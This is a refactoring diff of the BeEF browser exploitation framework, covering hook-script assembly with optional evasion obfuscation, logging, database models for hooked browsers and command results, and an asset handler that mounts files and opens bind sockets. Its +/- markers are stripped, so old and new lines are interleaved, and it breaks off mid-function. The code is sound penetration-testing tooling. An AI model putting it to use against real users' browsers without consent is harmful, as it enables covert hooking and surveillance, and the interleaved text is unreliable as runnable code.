beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
# @note Load websocket library only if WS server is enabled in config.yaml
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "lib/webrtcadapter.js"
beef_js_sub_files << "webrtc.js"
if config.get('beef.extension.webrtc.enable') == true
beef_js_sub_files << 'lib/webrtcadapter.js'
beef_js_sub_files << 'webrtc.js'
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"
beef_js_sub_files << 'timeout.js'
ext_js_to_obfuscate = ''
ext_js_to_not_obfuscate = ''
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each { |ext_js_sub_file|
if config.get("beef.extension.evasion.enable")
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
ext_js_sub_files.each do |ext_js_sub_file|
if config.get('beef.extension.evasion.enable')
if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
# do not obfuscate the file
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
@@ -59,66 +56,58 @@ module BeEF
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
}
end
# @note construct the beef_js string from file(s)
beef_js_sub_files.each { |beef_js_sub_file|
beef_js_sub_files.each do |beef_js_sub_file|
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
}
end
# @note create the config for the hooked browser session
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
unless hook_session_config['beef_public'].nil?
if hook_session_config['beef_host'] != hook_session_config['beef_public']
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
if hook_session_config['beef_host'].eql? "0.0.0.0"
if hook_session_config['beef_host'].eql? '0.0.0.0'
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')
# @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
hook_session_config['hook_file'] = config.get('beef.http.hook_file')
hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'
end
# @note Set some WebSocket properties
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout")
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
if config.get('beef.http.websocket.enable')
hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')
hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')
hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')
hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')
hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')
end
# @note Set if PhishingFrenzy integration is enabled
if config.get("beef.integration.phishing_frenzy.enable")
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
end
hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable')
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
else
@@ -127,7 +116,6 @@ module BeEF
# @note Return the final hook to be sent to the browser
@body << @final_hook
end
# Finds the path to js components
@@ -139,7 +127,7 @@ module BeEF
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
return false unless File.exist? component_path
component_path
end
@@ -152,11 +140,12 @@ module BeEF
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path
beefjs_components = { beefjs_components => beefjs_components_path }
end
beefjs_components.keys.each { |k|
beefjs_components.keys.each do |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
@@ -164,11 +153,11 @@ module BeEF
# @note we output the component to the hooked browser
config = BeEF::Core::Configuration.instance
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
else
@body << File.read(component_path) + "\n\n"
@body << (File.read(component_path) + "\n\n")
end
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
@@ -177,7 +166,7 @@ module BeEF
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
end
end

View File

@@ -5,53 +5,50 @@
#
module BeEF
module Core
class Logger
include Singleton
# Constructor
def initialize
@logs = BeEF::Core::Models::Log
@config = BeEF::Core::Configuration.instance
module Core
class Logger
include Singleton
# if notifications are enabled create a new instance
notifications_enabled = @config.get('beef.extension.notifications.enable')
@notifications = BeEF::Extension::Notifications::Notifications unless (notifications_enabled == false or notifications_enabled.nil?)
end
# Constructor
def initialize
@logs = BeEF::Core::Models::Log
@config = BeEF::Core::Configuration.instance
#
# Registers a new event in the logs
# @param [String] from The origin of the event (i.e. Authentication, Hooked Browser)
# @param [String] event The event description
# @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB)
#
# @return [Boolean] True if the register was successful
#
def register(from, event, hb = 0)
# type conversion to enforce standards
hb = hb.to_i
# get time now
time_now = Time.now
# arguments type checking
raise TypeError, '"from" needs to be a string' unless from.string?
raise TypeError, '"event" needs to be a string' unless event.string?
raise TypeError, '"Hooked Browser ID" needs to be an integer' unless hb.integer?
# logging the new event into the database
@logs.create(:logtype => from.to_s, :event => event.to_s, :date => time_now, :hooked_browser_id => hb).save!
print_debug "Event: #{event}"
# if notifications are enabled send the info there too
if @notifications
@notifications.new(from, event, time_now, hb)
# if notifications are enabled create a new instance
notifications_enabled = @config.get('beef.extension.notifications.enable')
@notifications = BeEF::Extension::Notifications::Notifications unless notifications_enabled == false or notifications_enabled.nil?
end
true
end
private
@logs
#
# Registers a new event in the logs
# @param [String] from The origin of the event (i.e. Authentication, Hooked Browser)
# @param [String] event The event description
# @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB)
#
# @return [Boolean] True if the register was successful
#
def register(from, event, hb = 0)
# type conversion to enforce standards
hb = hb.to_i
# get time now
time_now = Time.now
# arguments type checking
raise TypeError, '"from" needs to be a string' unless from.string?
raise TypeError, '"event" needs to be a string' unless event.string?
raise TypeError, '"Hooked Browser ID" needs to be an integer' unless hb.integer?
# logging the new event into the database
@logs.create(logtype: from.to_s, event: event.to_s, date: time_now, hooked_browser_id: hb).save!
print_debug "Event: #{event}"
# if notifications are enabled send the info there too
@notifications.new(from, event, time_now, hb) if @notifications
true
end
@logs
end
end
end
end

View File

@@ -5,44 +5,43 @@
#
module BeEF
module Core
module Core
# @note This class migrates and updates values in the database each time you restart BeEF.
# So for example, when you want to add a new command module, you stop BeEF,
# copy your command module into the framework and then restart BeEF.
# That class will take care of installing automatically the new command module in the db.
class Migration
include Singleton
# @note This class migrates and updates values in the database each time you restart BeEF.
# So for example, when you want to add a new command module, you stop BeEF,
# copy your command module into the framework and then restart BeEF.
# That class will take care of installing automatically the new command module in the db.
class Migration
include Singleton
#
# Updates the database.
#
def update_db!
update_commands!
end
#
# Checks for new command modules and updates the database.
#
def update_commands!
config = BeEF::Core::Configuration.instance
db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name)
config.get('beef.module').each do |k, v|
BeEF::Core::Models::CommandModule.new(name: k, path: "#{v['path']}module.rb").save! unless db_modules.include? k
#
# Updates the database.
#
def update_db!
update_commands!
end
BeEF::Core::Models::CommandModule.all.each do |mod|
unless config.get("beef.module.#{mod.name}").nil?
config.set "beef.module.#{mod.name}.db.id", mod.id
config.set "beef.module.#{mod.name}.db.path", mod.path
#
# Checks for new command modules and updates the database.
#
def update_commands!
config = BeEF::Core::Configuration.instance
db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name)
config.get('beef.module').each do |k, v|
BeEF::Core::Models::CommandModule.new(name: k, path: "#{v['path']}module.rb").save! unless db_modules.include? k
end
end
# Call Migration method
BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands'
BeEF::Core::Models::CommandModule.all.each do |mod|
unless config.get("beef.module.#{mod.name}").nil?
config.set "beef.module.#{mod.name}.db.id", mod.id
config.set "beef.module.#{mod.name}.db.path", mod.path
end
end
# Call Migration method
BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands'
end
end
end
end
end

View File

@@ -5,10 +5,10 @@
#
module BeEF
module Core
class Model < ActiveRecord::Base
# Tell ActiveRecord that this is not a model
self.abstract_class = true
module Core
class Model < ActiveRecord::Base
# Tell ActiveRecord that this is not a model
self.abstract_class = true
end
end
end
end

View File

@@ -4,55 +4,55 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Table stores the details of browsers.
#
# For example, the type and version of browser the hooked browsers are using.
#
class BrowserDetails < BeEF::Core::Model
#
# Returns the requested value from the data store
#
def self.get(session_id, key)
browserdetail = self.where(:session_id => session_id, :detail_key => key).first
return nil if browserdetail.nil?
return nil if browserdetail.detail_value.nil?
return browserdetail.detail_value
end
#
# Stores or updates an existing key->value pair in the data store
#
def self.set(session_id, detail_key, detail_value)
browserdetails = BeEF::Core::Models::BrowserDetails.where(
:session_id => session_id,
:detail_key => detail_key ).first
if browserdetails.nil?
# store the new browser details key/value
browserdetails = BeEF::Core::Models::BrowserDetails.new(
:session_id => session_id,
:detail_key => detail_key,
:detail_value => detail_value || '')
result = browserdetails.save!
else
# update the browser details key/value
browserdetails.detail_value = detail_value || ''
result = browserdetails.save!
print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'"
end
module Core
module Models
#
# Table stores the details of browsers.
#
# For example, the type and version of browser the hooked browsers are using.
#
class BrowserDetails < BeEF::Core::Model
#
# Returns the requested value from the data store
#
def self.get(session_id, key)
browserdetail = where(session_id: session_id, detail_key: key).first
# if the attempt to save the browser details fails return a bad request
if result.nil?
print_error "Failed to save browser details: #{detail_key}=#{detail_value}"
return nil if browserdetail.nil?
return nil if browserdetail.detail_value.nil?
browserdetail.detail_value
end
#
# Stores or updates an existing key->value pair in the data store
#
def self.set(session_id, detail_key, detail_value)
browserdetails = BeEF::Core::Models::BrowserDetails.where(
session_id: session_id,
detail_key: detail_key
).first
if browserdetails.nil?
# store the new browser details key/value
browserdetails = BeEF::Core::Models::BrowserDetails.new(
session_id: session_id,
detail_key: detail_key,
detail_value: detail_value || ''
)
result = browserdetails.save!
else
# update the browser details key/value
browserdetails.detail_value = detail_value || ''
result = browserdetails.save!
print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'"
end
# if the attempt to save the browser details fails return a bad request
print_error "Failed to save browser details: #{detail_key}=#{detail_value}" if result.nil?
browserdetails
end
end
browserdetails
end
end
end
end
end

View File

@@ -5,73 +5,70 @@
#
module BeEF
module Core
module Models
module Core
module Models
# @note Table stores the commands that have been sent to the Hooked Browsers.
class Command < BeEF::Core::Model
has_many :results
has_one :command_module
has_one :hooked_browser
# @note Table stores the commands that have been sent to the Hooked Browsers.
class Command < BeEF::Core::Model
#
# Save results and flag that the command has been run on the hooked browser
#
# @param [String] hook_session_id The session_id.
# @param [String] command_id The command_id.
# @param [String] command_friendly_name The command friendly name.
# @param [String] result The result of the command module.
#
def self.save_result(hook_session_id, command_id, command_friendly_name, result, status)
# @note argument type checking
raise TypeError, '"hook_session_id" needs to be a string' unless hook_session_id.string?
raise TypeError, '"command_id" needs to be an integer' unless command_id.integer?
raise TypeError, '"command_friendly_name" needs to be a string' unless command_friendly_name.string?
raise TypeError, '"result" needs to be a hash' unless result.hash?
raise TypeError, '"status" needs to be an integer' unless status.integer?
has_many :results
has_one :command_module
has_one :hooked_browser
# @note get the hooked browser structure and id from the database
hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first || nil
raise TypeError, 'hooked_browser is nil' if hooked_browser.nil?
raise TypeError, 'hooked_browser.id is nil' if hooked_browser.id.nil?
#
# Save results and flag that the command has been run on the hooked browser
#
# @param [String] hook_session_id The session_id.
# @param [String] command_id The command_id.
# @param [String] command_friendly_name The command friendly name.
# @param [String] result The result of the command module.
#
def self.save_result(hook_session_id, command_id, command_friendly_name, result, status)
# @note argument type checking
raise TypeError, '"hook_session_id" needs to be a string' unless hook_session_id.string?
raise TypeError, '"command_id" needs to be an integer' unless command_id.integer?
raise TypeError, '"command_friendly_name" needs to be a string' unless command_friendly_name.string?
raise TypeError, '"result" needs to be a hash' unless result.hash?
raise TypeError, '"status" needs to be an integer' unless status.integer?
# @note get the command module data structure from the database
command = where(id: command_id, hooked_browser_id: hooked_browser.id).first || nil
raise TypeError, 'command is nil' if command.nil?
# @note get the hooked browser structure and id from the database
hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hook_session_id).first || nil
raise TypeError, "hooked_browser is nil" if hooked_browser.nil?
raise TypeError, "hooked_browser.id is nil" if hooked_browser.id.nil?
# @note create the entry for the results
BeEF::Core::Models::Result.create(
hooked_browser_id: hooked_browser.id,
command_id: command.id,
data: result.to_json,
status: status,
date: Time.now.to_i
)
# @note get the command module data structure from the database
command = self.where(:id => command_id, :hooked_browser_id => hooked_browser.id).first || nil
raise TypeError, "command is nil" if command.nil?
s = show_status(status)
log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]"
log += " has executed instructions (status: #{s}) from command module [cid:#{command_id},"
log += " mod: #{command.command_module_id}, name:'#{command_friendly_name}']"
BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id)
print_info log
# @note create the entry for the results
BeEF::Core::Models::Result.create(
:hooked_browser_id => hooked_browser.id,
:command_id => command.id,
:data => result.to_json,
:status => status,
:date => Time.now.to_i
)
true
end
s = show_status(status)
log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]"
log += " has executed instructions (status: #{s}) from command module [cid:#{command_id},"
log += " mod: #{command.command_module_id}, name:'#{command_friendly_name}']"
BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id)
print_info log
true
end
# @note show status
def self.show_status(status)
case status
when -1
result = 'ERROR'
when 1
result = 'SUCCESS'
else
result = 'UNKNOWN'
# @note show status
def self.show_status(status)
case status
when -1
'ERROR'
when 1
'SUCCESS'
else
'UNKNOWN'
end
end
end
result
end
end
end
end
end

View File

@@ -4,15 +4,11 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
class CommandModule < BeEF::Core::Model
has_many :commands
module Core
module Models
class CommandModule < BeEF::Core::Model
has_many :commands
end
end
end
end
end
end

View File

@@ -4,22 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
#
#
class HookedBrowser < BeEF::Core::Model
has_many :commands
has_many :results
has_many :logs
# @note Increases the count of a zombie
def count!
if not self.count.nil? then self.count += 1; else self.count = 1; end
module Core
module Models
class HookedBrowser < BeEF::Core::Model
has_many :commands
has_many :results
has_many :logs
# @note Increases the count of a zombie
def count!
count.nil? ? self.count = 1 : self.count += 1
end
end
end
end
end
end
end

View File

@@ -4,15 +4,11 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
class Log < BeEF::Core::Model
has_one :hooked_browser
module Core
module Models
class Log < BeEF::Core::Model
has_one :hooked_browser
end
end
end
end
end
end

View File

@@ -4,13 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
class OptionCache < BeEF::Core::Model
end
end
end
module Core
module Models
class OptionCache < BeEF::Core::Model
end
end
end
end

View File

@@ -4,16 +4,12 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
class Result < BeEF::Core::Model
has_one :command
has_one :hooked_browser
module Core
module Models
class Result < BeEF::Core::Model
has_one :command
has_one :hooked_browser
end
end
end
end
end
end

View File

@@ -4,22 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module NetworkStack
module RegisterHttpHandler
module Core
module NetworkStack
module RegisterHttpHandler
# Register the http handler for the network stack
# @param [Object] server HTTP server instance
def self.mount_handler(server)
# @note this mounts the dynamic handler
server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new)
end
end
# Register the http handler for the network stack
# @param [Object] server HTTP server instance
def self.mount_handler(server)
# @note this mounts the dynamic handler
server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new)
BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
end
end
BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
end
end
end

View File

@@ -4,256 +4,251 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module NetworkStack
module Handlers
# @note Class defining BeEF assets
class AssetHandler
# @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance
include Singleton
attr_reader :allocations, :root_dir
# Starts the AssetHandler instance
def initialize
@allocations = {}
@sockets = {}
@http_server = BeEF::Core::Server.instance
@root_dir = File.expand_path('../../../../', __FILE__)
end
module Core
module NetworkStack
module Handlers
# @note Class defining BeEF assets
class AssetHandler
# @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance
include Singleton
# Binds a redirector to a mount point
# @param [String] target The target for the redirector
# @param [String] path An optional URL path to mount the redirector to (can be nil for a random path)
# @return [String] URL Path of the redirector
# @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc.
def bind_redirect(target, path=nil)
url = build_url(path,nil)
@allocations[url] = {'target' => target}
@http_server.mount(url,BeEF::Core::NetworkStack::Handlers::Redirector.new(target))
@http_server.remap
print_info "Redirector to [" + target + "] bound to url [" + url + "]"
url
rescue => e
print_error "Failed to mount #{path} : #{e.message}"
print_error e.backtrace
end
attr_reader :allocations, :root_dir
# Binds raw HTTP to a mount point
# @param [Integer] status HTTP status code to return
# @param [String] headers HTTP headers as a JSON string to return
# @param [String] body HTTP body to return
# @param [String] path URL path to mount the asset to TODO (can be nil for random path)
# @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
def bind_raw(status, header, body, path=nil, count=-1)
url = build_url(path,nil)
@allocations[url] = {}
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)
)
@http_server.remap
print_info "Raw HTTP bound to url [" + url + "]"
url
rescue => e
print_error "Failed to mount #{path} : #{e.message}"
print_error e.backtrace
end
# Binds a file to a mount point
# @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path)
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
# @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
def bind(file, path=nil, extension=nil, count=-1)
unless File.exist? "#{root_dir}#{file}"
print_error "Failed to mount file #{root_dir}#{file}. File does not exist"
return
end
url = build_url(path, extension)
@allocations[url] = {'file' => "#{root_dir}#{file}",
'path' => path,
'extension' => extension,
'count' => count}
resp_body = File.read("#{root_dir}#{file}")
if extension.nil? || MIME::Types.type_for(extension).empty?
content_type = 'text/plain'
else
content_type = MIME::Types.type_for(extension).first.content_type
end
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body)
)
@http_server.remap
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
url
rescue => e
print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}"
print_error e.backtrace
end
# Binds a file to a mount point (cached for 1 year)
# @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path)
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
# @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
def bind_cached(file, path=nil, extension=nil, count=-1)
unless File.exist? "#{root_dir}#{file}"
print_error "Failed to mount file #{root_dir}#{file}. File does not exist"
return
end
url = build_url(path, extension)
@allocations[url] = {'file' => "#{root_dir}#{file}",
'path' => path,
'extension' => extension,
'count' => count}
resp_body = File.read("#{root_dir}#{file}")
if extension.nil? || MIME::Types.type_for(extension).empty?
content_type = 'text/plain'
else
content_type = MIME::Types.type_for(extension).first.content_type
end
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new(
'200', {
'Content-Type' => content_type,
'Expires' => CGI.rfc1123_date(Time.now+(60*60*24*365)) },
resp_body)
)
@http_server.remap
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
url
rescue => e
print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}"
print_error e.backtrace
end
# Unbinds a file from a mount point
# @param [String] url URL path of asset to be unbinded
#TODO: check why is throwing exception
def unbind(url)
@allocations.delete(url)
@http_server.unmount(url)
@http_server.remap
print_info "Url [#{url}] unmounted"
end
# use it like: bind_socket("irc","0.0.0.0",6667)
def bind_socket(name, host, port)
unless @sockets[name].nil?
print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]."
return
end
t = Thread.new {
server = TCPServer.new(host,port)
loop do
Thread.start(server.accept) do |client|
data = ""
recv_length = 1024
threshold = 1024 * 512
while (tmp = client.recv(recv_length))
data += tmp
break if tmp.length < recv_length || tmp.length == recv_length
# 512 KB max of incoming data
break if data > threshold
end
if data.size > threshold
print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved."
else
@sockets[name] = {'thread' => t, 'data' => data}
print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data."
print_debug "Bind Socket [#{name}] received:\n#{data}"
end
client.close
# Starts the AssetHandler instance
def initialize
@allocations = {}
@sockets = {}
@http_server = BeEF::Core::Server.instance
@root_dir = File.expand_path('../../..', __dir__)
end
end
}
print_info "Bind socket [#{name}] listening on [#{host}:#{port}]."
end
# Binds a redirector to a mount point
# @param [String] target The target for the redirector
# @param [String] path An optional URL path to mount the redirector to (can be nil for a random path)
# @return [String] URL Path of the redirector
# @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc.
def bind_redirect(target, path = nil)
url = build_url(path, nil)
@allocations[url] = { 'target' => target }
@http_server.mount(url, BeEF::Core::NetworkStack::Handlers::Redirector.new(target))
@http_server.remap
print_info 'Redirector to [' + target + '] bound to url [' + url + ']'
url
rescue StandardError => e
print_error "Failed to mount #{path} : #{e.message}"
print_error e.backtrace
end
def get_socket_data(name)
if @sockets[name].nil?
print_error "Bind Socket [#{name}] does not exists."
return
end
@sockets[name]['data']
end
# Binds raw HTTP to a mount point
# @param [Integer] status HTTP status code to return
# @param [String] headers HTTP headers as a JSON string to return
# @param [String] body HTTP body to return
# @param [String] path URL path to mount the asset to TODO (can be nil for random path)
# @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
def bind_raw(status, header, body, path = nil, _count = -1)
url = build_url(path, nil)
@allocations[url] = {}
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)
)
@http_server.remap
print_info 'Raw HTTP bound to url [' + url + ']'
url
rescue StandardError => e
print_error "Failed to mount #{path} : #{e.message}"
print_error e.backtrace
end
def unbind_socket(name)
t = @sockets[name]['thread']
if t.alive?
print_debug "Thread to be killed: #{t}"
Thread.kill(t)
print_info "Bind Socket [#{name}] killed."
else
print_info "Bind Socket [#{name}] ALREADY killed."
end
end
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
# @param [String] path URL Path defined by bind()
# @param [String] extension Extension defined by bind()
# @param [Integer] length The amount of characters to be used when generating a random URL
# @return [String] Generated URL
def build_url(path, extension, length=20)
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path
url += (extension == nil) ? '' : '.'+extension
url
end
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
# @param [String] url URL Path of mounted file
# @return [Boolean] Returns true if the file is mounted
def check(url)
return false unless @allocations.has_key?(url)
count = @allocations[url]['count']
if count == -1
return true
end
if count > 0
if (count - 1) == 0
unbind(url)
else
@allocations[url]['count'] = count - 1
# Binds a file to a mount point
# @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path)
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
# @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
def bind(file, path = nil, extension = nil, count = -1)
unless File.exist? "#{root_dir}#{file}"
print_error "Failed to mount file #{root_dir}#{file}. File does not exist"
return
end
return true
url = build_url(path, extension)
@allocations[url] = { 'file' => "#{root_dir}#{file}",
'path' => path,
'extension' => extension,
'count' => count }
resp_body = File.read("#{root_dir}#{file}")
content_type = if extension.nil? || MIME::Types.type_for(extension).empty?
'text/plain'
else
MIME::Types.type_for(extension).first.content_type
end
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new('200', { 'Content-Type' => content_type }, resp_body)
)
@http_server.remap
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
url
rescue StandardError => e
print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}"
print_error e.backtrace
end
# Binds a file to a mount point (cached for 1 year)
# @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path)
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
# @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
def bind_cached(file, path = nil, extension = nil, count = -1)
unless File.exist? "#{root_dir}#{file}"
print_error "Failed to mount file #{root_dir}#{file}. File does not exist"
return
end
url = build_url(path, extension)
@allocations[url] = { 'file' => "#{root_dir}#{file}",
'path' => path,
'extension' => extension,
'count' => count }
resp_body = File.read("#{root_dir}#{file}")
content_type = if extension.nil? || MIME::Types.type_for(extension).empty?
'text/plain'
else
MIME::Types.type_for(extension).first.content_type
end
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new(
'200', {
'Content-Type' => content_type,
'Expires' => CGI.rfc1123_date(Time.now + (60 * 60 * 24 * 365))
},
resp_body
)
)
@http_server.remap
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
url
rescue StandardError => e
print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}"
print_error e.backtrace
end
# Unbinds a file from a mount point
# @param [String] url URL path of asset to be unbinded
# TODO: check why is throwing exception
def unbind(url)
@allocations.delete(url)
@http_server.unmount(url)
@http_server.remap
print_info "Url [#{url}] unmounted"
end
# use it like: bind_socket("irc","0.0.0.0",6667)
def bind_socket(name, host, port)
unless @sockets[name].nil?
print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]."
return
end
t = Thread.new do
server = TCPServer.new(host, port)
